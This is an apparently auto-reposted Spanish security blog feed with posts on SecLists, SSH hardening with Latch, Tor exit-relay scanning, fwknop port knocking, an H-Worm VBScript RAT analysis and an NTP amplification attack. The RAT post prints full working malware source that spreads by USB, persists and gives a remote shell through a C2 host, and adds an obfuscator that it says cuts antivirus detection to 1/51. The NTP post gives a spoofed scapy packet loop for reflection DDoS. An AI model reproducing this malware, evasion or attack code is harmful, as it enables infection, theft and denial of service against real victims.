jueves, 6 de febrero de 2014

SecLists: una buena colección de listas para pentests

SecLists es una colección de varios tipos de listas utilizadas durante auditorías de seguridad. Los tipos de listas incluyen nombres de usuario, contraseñas, URLs, cadenas de datos sensibles, fuzzing payloads, y muchos más.

El objetivo es permitir que un auditor pueda descargar el repositorio en su equipo de pruebas y tener acceso a cualquier tipo de lista que pueda ser necesaria.

git clone https://github.com/danielmiessler/SecLists

Este proyecto es mantenido por Daniel Miessler y Jason Haddix, si quieres contribuir y tienes alguna idea para incluir nuevas cosas contacta con ellos :)

Proyecto OWASP: https://www.owasp.org/index.php/Projects/OWASP_SecLists_Project


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

miércoles, 5 de febrero de 2014

Securizando openssh MODE PARANOICO 2ª parte (rizando el rizo con Latch)

Con el fin de completar nuestro pasado artículo,
securizando openssh MODE PARANOICO en el que vimos como securizar el servicio SSH en nuestro servidor, en esta entrada vamos a ver cómo aplicar otra capa de seguridad a nuestra particular "cebolla";
para eso echamos mano de una recién nacida aplicación  de Eleven Paths de la cual ya hablamos en nuestro blog.

Latch es un servicio ofrecido por la empresa de seguridad española Eleven Paths, el cual actúa a modo de "pestillo" de nuestras identidades digitales.

Esto nos permite que, por ejemplo, en el caso que alguien obtenga nuestro nombre de usuario y contraseña de algún servicio digital, poder evitar que esa persona se haga pasar por nosotros simplemente "cerrando el pestillo" desde nuestra cuenta de Latch.

También podemos hacer que cuando no estemos usando una cuenta, su acceso esté deshabilitado, y solo se active cuando nosotros deseemos utilizarla.

Para más información:
WEB OFICIAL DE LATCH

Tras este breve copy&paste vamos al turrón.
 
Lo que vamos a hacer, simplificando al máximo la explicación, es mediante nuestro móvil apagar y encender el servicio, de manera que tendremos un control absoluto sobre cuando se puede acceder al servicio, reforzando mucho mas la seguridad y sin tener que tener acceso físico al servidor.
En serio que suena mas complicado de lo que es ...sinceramente me he quedado con las patas vueltas al ver lo fácil que resulta implementarlo...
 
Lo primero que necesitamos es tener un número de identificación de aplicación (APPLICATION ID) y lo segundo una clave secreta (secret)
Para ello deberemos registrarnos en latch.elevenpaths.com/ developers area. Tras cumplimentar el registro y loggearnos entraremos en 'my applications' y crearemos una nueva.

Una vez cumplimentada la información salvaremos los cambios...

En este paso obtenemos el APPLICATION ID y EL SECRET que necesitaremos mas tarde...
 
 
Ahora hay que emparejar nuestra cuenta de usuario de SSH con nuestra aplicación en LATCH. Para ello nos serviremos del script escrito por Alejandro Ramos de SecurityByDefault.Primero y para ser ordenados nos colocaremos en el directorio HOME y crearemos una carpeta llamada LATCH y copiaremos el código del script en reg.sh, pondremos nuestro APLICATION ID y SECRET donde corresponda (sustituyendo las XXXXX) y guardaremos, para terminar dando permisos de ejecución al script.Podemos encontrar el código aquí.Ahora nos bajaremos el cliente de Latch en la versión que corresponda  a nuestro terminal:

-ANDROID PHONE                        
-APPLE PHONE                          
 -WINDOWS PHONE

Tras instalarla y configurarla añadiremos un nuevo servicio, para esto solo tendremos que darle al botón de "Add Service", y posteriormente al de "Generate a pairing code", tras lo cual nos dará un código de emparejamiento.

Ejecutaremos:
./reg.sh

y si todo ha ido bien recibiremos un bonito DONE, lo que querrá decir que se habrán guardado  los pares usuario:token en /home/LATCH/latch.accounts.

Podremos pasar al siguiente paso.
 
 
Una vez emparejado el asunto, lo que deberemos hacer es que nuestro demonio sshd se comporte como nosotros esperamos... es decir, cuando el cliente se conecte comprobará si el servicio está desbloqueado en Latch o por el contrario bloqueado, para ésto volveremos a utilizar el script que nos ofrece DEXAFREE al cual añadiremos una línea, puesto que si lo utilizamos como está y bloqueamos el servicio y lo desbloqueamos después, este no vuelve a levantarse teniendo que hacerlo a mano... 

Para ello copiaremos el script de aquí y lo modificaremos con nano añadiendo la línea que se ve en la imagen.
 
Ahora como en la primera parte sustituiremos el APPLICATIONID Y el SECRET por los nuestros, guardaremos el archivo con el nombre stat.sh y le daremos permisos de ejecución.

Para que se compruebe el estado de Latch cada vez que el usuario inicie sesión por SSH tendremos que hacer que se ejecute stat.sh. Para ello hay que modificar el archivo .bashrc  del usuario por defecto  y añadir la siguiente línea:

cd /root
nano  ./bashrcy al final del archivo añadir la línea: /home/LATCH/./stat.sh

Ya solo quedaría reiniciar la máquina y habríamos terminado.

Viendo todo el proceso ¿¿no se os ocurren más formas y cosas para utilizar Latch con solo un par de cambios en los scripts??


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Spoiled Onions: un proyecto para identificar los relays de salida maliciosos en la red Tor

En enero de 2014, la red anónima Tor se compone de 5.000 relays de los cuales casi 1.000 son de salida. Como se muestra en el diagrama de la derecha, los relays de salida cierran la brecha entre la red Tor y la Internet "abierta". Como resultado, los relays de salida son capaces de ver el tráfico de red anonimizado enviado por los clientes Tor.

Aunque la mayoría de los relays de salida son inocuos y dirigidos por voluntarios bienintencionados, hay excepciones: en el pasado, se documentaron algunos relays de salida que han esnifado y manipulado el tráfico retransmitido. Los ataques expuestos en su mayoría son MiTM de HTTPS, inyección HTML y SSL tripping.

Existe un proyecto de investigación bautizado como Spoiled Onions, que ha desarrollado un escáner rápido y modular escrito en Python para detectar estos relays de salida maliciosos: exitmap. Está disponible en GitHub bajo licencia GPLv3:

git clone https://github.com/NullHypothesis/exitmap.git

Desde septiembre de 2013 ha estado monitorizando todos los relays de salida con el fin de exponer, documentar y frustrar los relays maliciosos o mal configurados. En su lista negra también incluyen relays de salida que involuntariamente interfieren el tráfico de red debido a la censura de DNS.

Así que, si utilizas Tor, ¿a qué estas esperando para echar un vistazo a esta lista?

Web del proyecto: http://www.cs.kau.se/philwint/spoiled_onions/
Paper de investigación: Spoiled Onions: Exposing Malicious Tor Exit Relays [pdf, bib]


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

H-Worm de Houdini, un RAT con un server en VBScript

Recientemente ha caído en mis manos una muestra de un bot en VBS (Visual Basic Script), concretamente un server de un RAT bautizado como mugen.vbs, H-Worm o Houdini, este último nombre en honor a su desarrollador, se cree que de Argelia y creador de la saga njRAT.

Se trata de una sencilla y pequeña obra de arte que ya se distribuyó en algunos foros underground con un panel de control escrito en Delphi. Su método de propagación es un poco putada "molesto" ya que oculta las carpetas existentes de los dispositivos USB conectados y crea accesos directos con el mismo nombre para a su vez ejecutarlo.

La muestra que me facilitaron sólo tenía una capa de ofuscación, si bien lo normal es trabajar con un vbe, o que se utilicen varias conversiones como por ejemplo base64 u otros crypters, para dificultar la obtención del código fuente y sobretodo su detección por parte de motores de AV. De hecho el script analizado ya tenía un alto índice de detección (22/51).
En este caso obtener el código en claro es tan trivial como sustituir la función 'ExecuteGlobal' por otra que vuelque la salida a un fichero:

Set fso = CreateObject("scripting.filesystemobject")
Set fichero = fso.CreateTextFile("d:\pruebas\decrypted.txt", True)
...
fichero.write(GUaqJPiUjQAMzRRDxucOecldOO)
...
fichero.close

El resultado añadiendo unos pocos saltos de línea y tabulaciones es el siguiente: host="ejemplo.no-ip.org"port=1085installdir="%temp%"lnkfile=truelnkfolder=truedim shellobj    set shellobj=wscript.createobject("wscript.shell")dim filesystemobj    set filesystemobj=createobject("scripting.filesystemobject")dim httpobj    set httpobj=createobject("msxml2.xmlhttp")installname=wscript.scriptnamestartup=shellobj.specialfolders("startup")&"\"installdir=shellobj.expandenvironmentstrings(installdir)&"\"if not filesystemobj.folderexists(installdir)    then installdir=shellobj.expandenvironmentstrings("%temp%")&"\"end ifspliter="<|>"sleep=5000dim responsedim cmddim paraminfo=""usbspreading=""startdate=""dim oneonceon error resume nextinstancewhile true    install    response=""    response=post("is-ready","")    cmd=split(response,spliter)    select case cmd(0)        case"excecute"            param=cmd(1)            execute param        case"update"            param=cmd(1)            oneonce.close            set oneonce=filesystemobj.opentextfile(installdir&installname,2,false)            oneonce.write param            oneonce.close            shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)            wscript.quit        case"uninstall"            uninstall        case"send"            download cmd(1),cmd(2)        case"site-send"            sitedownloader cmd(1),cmd(2)        case"recv"            param=cmd(1)            upload(param)        case"enum-driver"            post"is-enum-driver",enumdriver        case"enum-faf"            param=cmd(1)            post"is-enum-faf",enumfaf(param)        case"enum-process"            post"is-enum-process",enumprocess        case"cmd-shell"            param=cmd(1)            post"is-cmd-shell",cmdshell(param)        case"delete"            param=cmd(1)            deletefaf(param)        case"exit-process"            param=cmd(1)            exitprocess(param)        case"sleep"            param=cmd(1)            sleep=eval(param)    end select    wscript.sleep sleepwendsub install    on error resume next    dim lnkobj    dim filename    dim foldername    dim fileicon    dim foldericon    upstart    for each drive in filesystemobj.drives    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then filesystemobj.copyfile wscript.scriptfullname,drive.path&"\"&installname,true    if filesystemobj.fileexists(drive.path&"\"&installname)then filesystemobj.getfile(drive.path&"\"&installname).attributes=2+4    end if    for each file in filesystemobj.getfolder(drive.path&"\").files    if not lnkfile then exit for    end if    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=2+4    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")    set lnkobj=shellobj.createshortcut(drive.path&"\"&filename(0)&".lnk")    lnkobj.windowstyle=7    lnkobj.targetpath="cmd.exe"    lnkobj.workingdirectory=""    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start "&replace(file.name," ",chrw(34)&" "&chrw(34))&"&exit"    fileicon=shellobj.regread("hkey_local_machine\software\classes\"&shellobj.regread("hkey_local_machine\software\classes\."&split(file.name,".")(ubound(split(file.name,".")))&"\")&"\defaulticon\")    if instr(fileicon,",")=0 then lnkobj.iconlocation=file.path    else lnkobj.iconlocation=fileicon    end if    lnkobj.save()    end if    end if    end if    next    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders    if not lnkfolder then exit for    end if    folder.attributes=2+4    foldername=folder.name    set lnkobj=shellobj.createshortcut(drive.path&"\"&foldername&".lnk")    lnkobj.windowstyle=7    lnkobj.targetpath="cmd.exe"    lnkobj.workingdirectory=""    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start explorer "&replace(folder.name," ",chrw(34)&" "&chrw(34))&"&exit"    foldericon=shellobj.regread("hkey_local_machine\software\classes\folder\defaulticon\")    if instr(foldericon,",")=0 then lnkobj.iconlocation=folder.path    else lnkobj.iconlocation=foldericon    end if    lnkobj.save()    next    end if    end if    end if    next    err.clearend subsub uninstall    on error resume next    dim filename    dim foldername    shellobj.regdelete"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)    shellobj.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)    filesystemobj.deletefile startup&installname,true    filesystemobj.deletefile wscript.scriptfullname,true    for each drive in filesystemobj.drives    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then for each file in filesystemobj.getfolder(drive.path&"\").files    on error resume next    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=0    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")    filesystemobj.deletefile(drive.path&"\"&filename(0)&".lnk")    else filesystemobj.deletefile(drive.path&"\"&file.name)    end if    else filesystemobj.deletefile(file.path)    end if    end if    next    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders    folder.attributes=0    next    end if    end if    end if    next    wscript.quitend subfunction post(cmd,param)    post=param    httpobj.open"post","http    //"& host&"    "&port&"/"&cmd,false    httpobj.setrequestheader"user-agent    ",information    httpobj.send param    post=httpobj.responsetextend functionfunction information    on error resume next    if inf=""then inf=hwid&spliter    inf=inf&shellobj.expandenvironmentstrings("%computername%")&spliter    inf=inf&shellobj.expandenvironmentstrings("%username%")&spliter    set root=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set os=root.execquery("select * from win32_operatingsystem")    for each osinfo in os    inf=inf& osinfo.caption&spliter    exit for    next    inf=inf&"plus"&spliter    inf=inf&security&spliter    inf=inf&usbspreading    information=inf    else information=inf    end ifend functionsub upstart()    on error resume next    shellobj.regwrite"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"    shellobj.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"    filesystemobj.copyfile wscript.scriptfullname,installdir&installname,true    filesystemobj.copyfile wscript.scriptfullname,startup&installname,trueend subfunction hwid    on error resume next    set root=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set disks=root.execquery("select * from win32_logicaldisk")    for each disk in disks    if disk.volumeserialnumber<>""then hwid=disk.volumeserialnumber    exit for    end if    nextend functionfunction security    on error resume next    security=""    set objwmiservice=getobject("winmgmts    {impersonationlevel=impersonate}!\\.\root\cimv2")    set colitems=objwmiservice.execquery("select * from win32_operatingsystem",,48)    for each objitem in colitems    versionstr=split(objitem.version,".")    next    versionstr=split(colitems.version,".")    osversion=versionstr(0)&"."    for x=1 to ubound(versionstr)    osversion=osversion&versionstr(i)    next    osversion=eval(osversion)    if osversion>6 then sc="securitycenter2"else sc="securitycenter"    end if    set objsecuritycenter=getobject("winmgmts    \\localhost\root\"&sc)    set colantivirus=objsecuritycenter.execquery("select * from antivirusproduct","wql",0)    for each objantivirus in colantivirus    security=security& objantivirus.displayname&" ."    next    if security=""then security="nan-av"    end ifend functionfunction instance    on error resume next    usbspreading=shellobj.regread("hkey_local_machine\software\"&split(installname,".")(0)&"\")    if usbspreading=""then if lcase(mid(wscript.scriptfullname,2))="    \"&lcase(installname)then usbspreading="true - "&date    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"    else usbspreading="false - "&date    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"    end if    end if    upstart    set scriptfullnameshort=filesystemobj.getfile(wscript.scriptfullname)    set installfullnameshort=filesystemobj.getfile(installdir&installname)    if lcase(scriptfullnameshort.shortpath)<>lcase(installfullnameshort.shortpath)then shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)    wscript.quit    end if    err.clear    set oneonce=filesystemobj.opentextfile(installdir&installname,8,false)    if err.number>0 then wscript.quit    end ifend functionsub sitedownloader(fileurl,filename)    strlink=fileurl    strsaveto=installdir&filename    set objhttpdownload=createobject("msxml2.xmlhttp")    objhttpdownload.open"get",strlink,false    objhttpdownload.send    set objfsodownload=createobject("scripting.filesystemobject")    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)    end if    if objhttpdownload.status=200 then dim objstreamdownload    set objstreamdownload=createobject("adodb.stream")    with objstreamdownload    .type=1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .close    end with    set objstreamdownload=nothing    end if    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath    end ifend subsub download(fileurl,filedir)    if filedir=""then filedir=installdir    end if    strsaveto=filedir&mid(fileurl,instrrev(fileurl,"\")+1)    set objhttpdownload=createobject("msxml2.xmlhttp")    objhttpdownload.open"post","http    //"& host&"    "&port&"/is-sending"&spliter&fileurl,false    objhttpdownload.send""    set objfsodownload=createobject("scripting.filesystemobject")    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)    end if    if objhttpdownload.status=200 then dim objstreamdownload    set objstreamdownload=createobject("adodb.stream")    with objstreamdownload    .type=1    .open    .write objhttpdownload.responsebody    .savetofile strsaveto    .close    end with    set objstreamdownload=nothing    end if    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath    end ifend subfunction upload(fileurl)    dim httpobj,objstreamuploade,buffer    set objstreamuploade=createobject("adodb.stream")    with objstreamuploade    .type=1    .open    .loadfromfile fileurl    buffer=.read    .close    end with    set objstreamdownload=nothing    set httpobj=createobject("msxml2.xmlhttp")    httpobj.open"post","http    //"& host&"    "&port&"/is-recving"&spliter&fileurl,false    httpobj.send bufferend functionfunction enumdriver()    for each drive in filesystemobj.drives    if drive.isready=true then enumdriver=enumdriver&drive.path&"|"&drive.drivetype&spliter    end if    next    end function    function enumfaf(enumdir)    enumfaf=enumdir&spliter    for each folder in filesystemobj.getfolder(enumdir).subfolders    enumfaf=enumfaf&folder.name&"||d|"&folder.attributes&spliter    next    for each file in filesystemobj.getfolder(enumdir).files    enumfaf=enumfaf&file.name&"|"&file.size&"|f|"&file.attributes&spliter    nextend functionfunction enumprocess()    on error resume next    set objwmiservice=getobject("winmgmts    \\.\root\cimv2")    set colitems=objwmiservice.execquery("select * from win32_process",,48)    dim objitem    for each objitem in colitems    enumprocess=enumprocess& objitem.name&"|"    enumprocess=enumprocess& objitem.processid&"|"    enumprocess=enumprocess& objitem.executablepath&spliter    nextend functionsub exitprocess(pid)    on error resume next    shellobj.run"taskkill /f /t /pid "&pid,7,trueend subsub deletefaf(url)    on error resume next    filesystemobj.deletefile url    filesystemobj.deletefolder urlend subfunction cmdshell(cmd)    dim httpobj,oexec,readallfromany    set oexec=shellobj.exec("%comspec% /c "&cmd)    if not oexec.stdout.atendofstream then readallfromany=oexec.stdout.readall    else if not oexec.stderr.atendofstream then readallfromany=oexec.stderr.readall    else readallfromany=""    end if    end if    cmdshell=readallfromanyend function
Si echáis un vistazo al código anterior se diferencian claramente cada una de sus funciones:

- execute : ejecuta un comando específico
- update : cambia la configuración del malware. Por ejemplo, el nombre DNS dinámico
- uninstall : elimina el malware del sistema y limpia cada acceso directo .lnk
- send : copia un fichero desde el atacante a la víctima
- site-send : copia un fichero hospedado en un sitio web a la víctima
- recv : descarga un fichero desde el equipo de la víctima
- enum-driver : lista los discos del equipo de la víctima
- enum-faf : lista todos los ficheros y directorios del equipo de la víctima
- enum-process : lista todos los procesos en ejecución
- cmd-shell : abre un intérprete de comandos
- delete : borra un fichero o directorio del equipo de la víctima
- exit-process : mata un proceso específico del equipo de la víctima
- sleep : espera 5 segundos

Como véis, un server bastante funcional y programado en lenguaje de script. Además, es relativamente fácil darle un par de vueltas para conseguir que sea FuD . Por ejemplo, unas modificaciones a este script de st0le: Randomizeset fso = CreateObject("Scripting.FileSystemObject")fileName = Inputbox("Ruta del fichero : ")set src = fso.OpenTextfile(fileName,1)body = src.readallset rep  = fso.createtextfile("ofuscado.vbs",true)rep.writeline "Execute(" & Obfuscate(body) & " ) "Function Obfuscate(txt)enc = ""for i = 1 to len(txt)enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "nextObfuscate = enc & " vbcrlf "End FunctionFunction form(n)r = int(rnd * 13000)k = int(rnd * 4)if( k = 0) then ret = (r+n) & "-" & rif( k = 1) then ret = (n-r) & "+" & rif( k = 2) then ret = (n*r) & "/" & rform = retEnd Function
Y la detección baja de 22/51 a 1/51... }:P

Referencias:
- Now You See Me – H-worm by Houdini
- Como eliminar el virus MUGEN.vbs de una memoria USB y de la PC
- Analizando el malware MUGEN.VBS
- In-depth analysis of mmpifmxnth..vbs malware
- Autopsia a un Malware en VBS

View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Reflection Attack NTP

En diciembre de 2013, Symantec ya advirtió que los ciberdelincuentes estaban abusando cada vez más de Network Time Protocol (NTP) para lanzar ataques distribuidos de denegación de servicio (DDOS). Durante el presente mes, tuvieron lugar diversos ataques distribuidos de 
denegación de servicio sobre redes de servidores de juegos. La lista de juegos atacados incluye a World of Tanks, League of Legends, Free Realms, DC Universe Online, PlanetSide 2 y Everquest. Empresas como EA, Sony, Blizzard, Valve y Microsoft han sido impactadas por los ataques lanzados por un grupo llamado DERP Trolling. La razón:  “for lulz XD que jodios!!. 

La noticia ha levantado bastante polvo en Internet y ha propiciado una supuesta actualización de estos servidores.

Para los expertos NTP no representaba una amenaza seria y a menudo es descuidado por los administradores de sistemas ( xD si ya descuidaban DNS...) a pesar de que la vulnerabilidad ya aparecía en 2010. Por cierto, incluso tiene un CVE asociado, el CVE-2013-5211), DERP Trolling ha dejado patente que tenemos que cambiar la visión que tenemos frente a este protocolo..

Hoy en hackplayers veremos como se lleva a cabo este tipo de ataque (bastante sencillo)...
 
Antes de nada veamos qué es NTP:

Network Time Protocol (NTP)  es un protocolo estándar para la sincronización de relojes de máquinas interconectadas a través de redes de datos, en particular Internet. Este protocolo permite que el reloj de un sistema mantenga una gran precisión, independientemente de su calidad y de las condiciones de la red. Para el que quiera una mayor información del protocolo: ntp.org.

También quiero advertir que si queremos llevar acabo esta prueba de concepto, lo hagamos bajo un entorno seguro y nunca en Internet; si no queremos vernos en la tesitura de tener que responder ante la justicia por llevar a cabo un ataque DDOS con los consecuentes prejuicios que nos pueda suponer...

Manos a la obra!!! No vamos a entrar en mucho tecnicismo, ya que el objetivo de esta entrada (y de todas la que hago) es que cualquier persona o la mayoría pueda entenderlas (o casi entenderlas)  y concienciarse de lo importante que es la seguridad... para hacer más segura la red para todos, se generen más puestos de trabajo y me saque alguien del paro XD, me pueda comprar perro, casa, coche, tener hijos y no verme obligado a migrar a Londres a poner café.

Esta técnica aprovecha varios factores para generar un tráfico no solicitado de una manera "lícita", es decir, no aprovecha ningún tipo de infección, botnet ...o bug.... sino de la falta o descuido de configuración de los servidores de terceros. 

En teoría lo que tenemos que hacer es, pedirle cierta información a varios servidores NTP como si fuésemos otra máquina (la víctima)...a  fin de que la "el objetivo" la reciba.

A cuantos más servidores le pidamos esta información, mayor será el numero de respuestas , en consecuencia, mayor será el volumen de datos,  pudiendo llegar a colapsar la máquina atacada...

Lo primero que necesitamos es un servidor NTP. Esto no es muy difícil, pero si hacemos una consulta normal a estos servidores recibiremos una respuesta estándar, con un tamaño de información escaso; pero para "noquear" a la víctima necesitaríamos muchísimas peticiones ...
 

 
Es aquí donde entra en juego una de las capacidades del protocolo NTP: por cada petición, por ejemplo de 8 bytes, puede llegar a generarse una respuesta hasta casi 60 veces mayor (esto ya nos cuadra mas).

Pero esta respuesta no es la habitual de un servidor NTP sino que es una característica del protocolo que ahora ha sido parcheada para evitar este tipo de ataques. (O_o) seguro?

Creerme que no es difícil encontrar servidores no parcheados sobre todo si nos vamos al país del sol naciente...

Para conseguir este tipo de respuesta el servidor tiene que responder al comando mon_grelist. Con este comando lo que conseguimos es que nos mande una lista de todos sus clientes...

Para ver si el servidor es vulnerable podemos utilizar nmap con su script ntp-monlist.nse.

nmap -sU -pU:123 -Pn -n --script=ntp-monlist.nse

Para hacernos una idea del tráfico que podemos llegar a generar podemos hacer una consulta lícita al servidor con ntpd.

 #ntpdc -c monlist

Una vez provisto con unos cuantos de estos server (en diez minutos y sin buscar mucho he encontrado unos 50).

Pasamos a la segunda fase de nuestro ataque.  
 
 
Vamos a ver dos maneras de hacer esto: la rápida y la que explica el ataque por sí sola.

Quizás la manera mas gráfica y sencilla de comprender este proceso sea capturando y falseando un paquete NTP con la petición monlist. Esto requiere conseguir un paquete líicito para su posterior modificación, luego veremos como crearlo desde cero.

Para ello utilizaremos el paquete que hemos enviado para hacernos una idea del tráfico:

Preparamos tcpdump para que capture el paquete y nos lo guarde con el nombre NTP_pakete

#tcpdump -i   -x -n -e -l -w NTP_pakete -c1 host and port 123

En otro terminal ejecutamos el comando de consulta con ntpd.

#ntpdc -c monlist

Y ya tendríamos nuestro paquete para analizarlo y para juguetear con él...(podemos ayudarnos de wireshark para ubicarnos en el paquete).

Para manipular muy fácilmente el paquete podemos utilizar packeth, aunque podríamos hacerlo a pelo con Hexedit.

Retocaremos y guardaremos tantos paquetes como a servidores NTP queramos hacerles la "consulta" cambiando la ip origen por la de la victima y la ip destino por la ip de los servidores NTP que hemos encontrado previamente.

Packeth nos da también la opción de mandar los paquetes, aunque seria algo lento... es preferible la herramienta tgn con la cual podemos hacer un script con poca dificultad y automatizar el proceso de consulta a los servidores NTP.....

Creando el paquete NTP desde 0  y realizando el ataque con scapy

Para hacer el proceso anterior muchísimo mas rápido, tenemos un montón de opciones, aquí me decanto por scapy.

Podemos generar el paquete en scapy de la siguiente forma, siendo dst la ip del servidor y src la ip del objetivo.>>> paquete = IP(dst='59.xxx.xxx.245',src='192.168.1.190')/UDP(sport=48947,dport=123)/Raw(load=str("\x17\x00\x03\x2a") + str("\x00")*4) >>> send(packet,loop=1)Desde este punto no sería difícil construir un script que automatizara el ataque al máximo. Mandando varias peticiones a varios servidores y focalizando las respuestas sobre un objetivo. 

Un saludo, sed buenos ;D


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Port knocking con un sólo paquete cifrado (SPA)

Tradicionalmente hablamos de port knocking o golpeo de puertos como un mecanismo para abrir puertos mediante una secuencia de conexiones preestablecida a otros cerrados. Por ejemplo, para abrir el puerto TCP 22 de SSH tendremos que intentar conectarnos primero al 7000, luego al 8000 y finalmente al 9000. Esto lo hemos visto recientemente con Knockd para securizar openssh en modo paranoico y hace tiempo en nuestra pequeña Raspberry Pi...
Pero "aporrear" varias veces la puerta para entrar es muy escandaloso y poco caballeroso ¿verdad?. Existe una forma más fina y elegante mediante Single Packet Authorization (en adelante SPA), una variante de port knocking con la cual sólo será necesario un sólo 'knock' mediante el envío de un único paquete cifrado.

Para ello utilizaremos fwknop (FireWall KNock OPerator), la herramienta de facto que implementa este esquema de autenticación y que por tanto nos permitirá, con un sólo paquete, abrir un servicio oculto detrás de un firewall que por defecto deniega su acceso (INPUT a DROP). Básicamente por defecto el cliente mandará al puerto UDP 62201 un paquete cifrado con Rjindael (simétrico) o GnuPG (asimétrico), no reproducible y autenticado por medio de HMAC. Mientras, el servidor fwknopd estará esnifando el tráfico de forma pasiva mediante libpcap y, si el paquete es válido, ejecutará el iptables, PF o ipfw de turno para permitir el acceso al puerto durante el tiempo especificado.

Además, la cantidad de información que puede ser incluída en el paquete sólo se encuentra limitada por su MTU, es decir, además de la información de acceso también podríamos incluir en el paquete comandos que sean ejecutados en el servidor SPA. Y al usar un único paquete será más difícil de detectar y mucho más rápido. Todo ventajas.

Vale, ya nos hemos convencido de las bondades de fwknop y ahora nos preguntamos cómo hemos podido ser capaces de seguir con nuestras mundanas vidas sin utilizarlo... vamos a ponerle remedio...

En nuestro escenario de ejemplo vamos a configurar port knocking con SPA entre un servidor fwknopd en una máquina virtual con Kali Linux y un cliente fwknop en Windows 7 (so nativo). También y para más seguridad, usaremos cifrado asimétrico con claves GnuPG.

Lo primero que debemos hacer es generar un par de claves en cada máquina.

Generando las claves GnuPG en el cliente y en el servidor 

En el caso del cliente, si ya tienes una clave GnuPG para el correo electrónico (o cualquier otro) la podrás utilizar con seguridad porque sólo se usará para la firma de mensajes de fwknop. Si por el contrario todavía no la tienes, puedes crearla fácilmente con la herramienta Kleopatra que viene con Gpg4win (puedes ver un tutorial en este enlace):



Una vez creadas las claves, no olvides exportar tu clave pública a un fichero ascii:

Ahora le toca el turno al servidor fwknopd. En este caso si tendrás que crear una clave de GnuPG que se utilice exclusivamente para las comunicaciones de fwknop. La razón es que la contraseña utilizada para desbloquear esta clave debe estar almacenada en texto plano en el archivo /etc/fwknop/access.conf porque fwknopd la utilizará para descifrar los mensajes que hayan sido cifrados por el cliente fwknop con la clave pública del servidor. 

Es recomendable que el tamaño de la clave sea 2048 bits o menos porque os recordamos que los mensajes SPA deben caber en un sólo paquete IP.

root@kali:~# gpg --gen-keygpg (GnuPG) 1.4.12; Copyright (C) 2012 Free Software Foundation, Inc.This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.gpg: directory `/root/.gnupg' createdgpg: new configuration file `/root/.gnupg/gpg.conf' createdgpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this rungpg: keyring `/root/.gnupg/secring.gpg' createdgpg: keyring `/root/.gnupg/pubring.gpg' createdPlease select what kind of key you want:   (1) RSA and RSA (default)   (2) DSA and Elgamal   (3) DSA (sign only)   (4) RSA (sign only)Your selection? RSA keys may be between 1024 and 4096 bits long.What keysize do you want? (2048) Requested keysize is 2048 bitsPlease specify how long the key should be valid.         0 = key does not expire        = key expires in n days      w = key expires in n weeks      m = key expires in n months      y = key expires in n yearsKey is valid for? (0) Key does not expire at allIs this correct? (y/N) yYou need a user ID to identify your key; the software constructs the user IDfrom the Real Name, Comment and Email Address in this form:    "Heinrich Heine (Der Dichter) "Real name: VicenteEmail address: hackplayers@ymail.comComment: You selected this USER-ID:    "Vicente "Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? OYou need a Passphrase to protect your secret key.We need to generate a lot of random bytes. It is a good idea to performsome other action (type on the keyboard, move the mouse, utilize thedisks) during the prime generation; this gives the random numbergenerator a better chance to gain enough entropy.Not enough random bytes available.  Please do some other work to givethe OS a chance to collect more entropy! (Need 283 more bytes)gpg: /root/.gnupg/trustdb.gpg: trustdb createdgpg: key 04E602A1 marked as ultimately trustedpublic and secret key created and signed.gpg: checking the trustdbgpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust modelgpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1upub   2048R/04E602A1 2014-01-20      Key fingerprint = 4F3E 847C EE9B EB8C DFD4  F86E 467A CF40 04E6 02A1uid                  Vicente sub   2048R/71374B8D 2014-01-20
Después de completar el proceso comprobamos que las claves se han generado con éxito:root@kali:~# gpg --list-keys/root/.gnupg/pubring.gpg------------------------pub   2048R/04E602A1 2014-01-20uid                  Vicente sub   2048R/71374B8D 2014-01-20
